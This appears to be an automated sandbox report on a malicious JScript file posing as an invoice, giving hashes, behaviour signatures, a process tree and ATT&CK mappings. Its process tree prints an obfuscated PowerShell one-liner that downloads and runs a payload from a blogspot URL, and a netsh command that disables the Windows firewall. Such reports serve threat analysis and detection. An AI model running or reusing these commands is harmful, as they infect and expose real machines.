Analysis
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max time kernel
145s -
max time network
157s -
platform
windows10-2004_x64 -
resource
win10v2004-20231127-en -
resource tags
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submitted
01-12-2023 06:49
General
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Target
invoice_2566246817.js
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Size
106KB
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MD5
fc6d7a11059fee2eda2bab5e4c82c839
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SHA1
9907895c521bddd02573ca5e361490f017932dbe
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SHA256
39afb67d0916e6761f7604cb65ebdb1c115f24e62d9b122c0137b46215a0b00c
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SHA512
1e820c22e9cbd0f360b7187eb8062089ead22cfd1a62e0e47450523659b841bf37278ddfd530c4792529d88145ceb1ff88389d541fda9e68d9c127ba5579fb39
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SSDEEP
384:boJdyttnpXrov4gPyjjF/9sui+1VaEEEfEfffEfEffESxyOVYZPjcrdRoDT/8W8z:kS5W
Malware Config
Signatures
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UAC bypass 3 TTPs 1 IoCs
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Blocklisted process makes network request 2 IoCs
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Modifies Windows Firewall 1 TTPs 1 IoCs
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Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
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Registers COM server for autorun 1 TTPs 2 IoCs
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Adds Run key to start application 2 TTPs 1 IoCs
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Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
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Suspicious use of SetThreadContext 3 IoCs
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Drops file in Windows directory 1 IoCs
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Checks processor information in registry 2 TTPs 6 IoCs
Processor information is often read in order to detect sandboxing environments.
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Enumerates system info in registry 2 TTPs 4 IoCs
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Modifies registry class 3 IoCs
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Suspicious behavior: EnumeratesProcesses 9 IoCs
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Suspicious use of AdjustPrivilegeToken 64 IoCs
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Suspicious use of WriteProcessMemory 38 IoCs
Processes
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C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\invoice_2566246817.js1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep Bypass -c $((irm hotelofficeewn.blogspot.com////////////////////////////////////atom.xml) | .('{1}{0}'-f'kasokdaoskdoaksodkasodkaoskdoaksdoaksod','I').replace('kasokdaoskdoaksodkasodkaoskdoaksdoaksod','ex'))2⤵
- UAC bypass
- Blocklisted process makes network request
- Registers COM server for autorun
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\niunxias\niunxias.cmdline"3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESC4C7.tmp" "c:\Users\Admin\AppData\Local\Temp\niunxias\CSCDB641AFE20A84F9EA853DC636A93F63.TMP"4⤵
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C:\Windows\system32\netsh.exe"C:\Windows\system32\netsh.exe" advfirewall set allprofiles state off -ErrorAction SilentlyContinue3⤵
- Modifies Windows Firewall
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe"3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exedw20.exe -x -s 7924⤵
- Drops file in Windows directory
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe"C:\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe"3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exedw20.exe -x -s 7804⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create or Modify System Process
1Windows Service
1Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create or Modify System Process
1Windows Service
1Replay Monitor
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Downloads
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Filesize
1KB
MD5f90449ff46a0a799573e41774f8a20cf
SHA1257c931853443a22ff4b3c678aa3b2bf881f8779
SHA256ad7a9de7259c379b02dbd055e21a44f0cb368b5bb1e963542f0fdf3ddad0c0cf
SHA512776ca5012cdfd2afcdb6c47da92ab79cbe75dce96052e5091e0eab80f93ba4d035310d0c0b9c2be7e54bd68bc9b81a7681b209498465d1f002186dc236dc8710
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
3KB
MD5e0ce5b6ec2b89d92dbd182b6583df217
SHA1dec6b47e0e245f180a949a23e76001c9ffab8512
SHA256a443b8438a2916b837d934511f810c302b049f03dd96ffdb6b8d6c8c14b27f9b
SHA51240376910d1774e2422c77932baf98a13275e276b6bb83bf04f6509062e6e9067c4e2c1ff3465ad68e038573860480bc9a2cd3e0475956ee298a1f29b09fef766
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Filesize
652B
MD5afc35df7b4f0d0d601b8ddf0d35b67cf
SHA11db3d856c04050a5f8a9e8f26cb806bab0b93636
SHA25629d933a433d3772f09629534362813e99c17265441ee71c24fb2494d2dd91abf
SHA512ca48d4cc5f8e6738c026f66d5b6d5ca8d405ccfe3be6b9dac8f8e5263d89f3f3194d8119312ce2548e70a7d793efa70c13dc4a21191b34aafaa0a25e912a38fd
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Filesize
870B
MD5e06ebf853695db38aaac82c9af297ae4
SHA1ef98bacec5ac2ae3bf24aac8ed56935a25c1f064
SHA25679c1099bad1dccb1d151887071b8e8b5d679de343903895fa28e45b791cae344
SHA512036449d932066d506a6bd7c08df311bf1ed5e7b3595004941fe1c39a8e9f9b0d08d43b33a180d4851f88d49c98a17b05cf5235858ada611306fc602cfd582759
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Filesize
369B
MD59181e389bc27463a5a1ad6c8c9801c13
SHA19aff9713e7332cf5da786284ff34c8d6f27d9c36
SHA2560cbc6f198428a1a86750fec0b006f104c2154746be4f15431133f4ef58488be9
SHA51264b5bbab13ad27f63866653e476774f3c2539a48f848b83ad43bb459c2a3d339def8c520cdd0315121812dae08d4bdf45964d31170101debf5edc9aa6b3557e0
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Filesize
408KB
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Filesize
584KB
-
Filesize
64KB
-
Filesize
7.7MB
-
Filesize
40KB
-
Filesize
624KB
-
Filesize
1.8MB
-
Filesize
320KB
-
Filesize
64KB
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Filesize
7.7MB
-
Filesize
432KB
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Filesize
5.6MB
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Filesize
432KB
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Filesize
5.7MB
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Filesize
5.7MB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
104KB
-
Filesize
56KB
-
Filesize
136KB
-
Filesize
1.8MB
-
Filesize
32KB
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Filesize
10.8MB
-
Filesize
10.8MB
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Filesize
10.8MB
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Filesize
64KB
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Filesize
5.7MB
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Filesize
5.7MB
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Filesize
5.7MB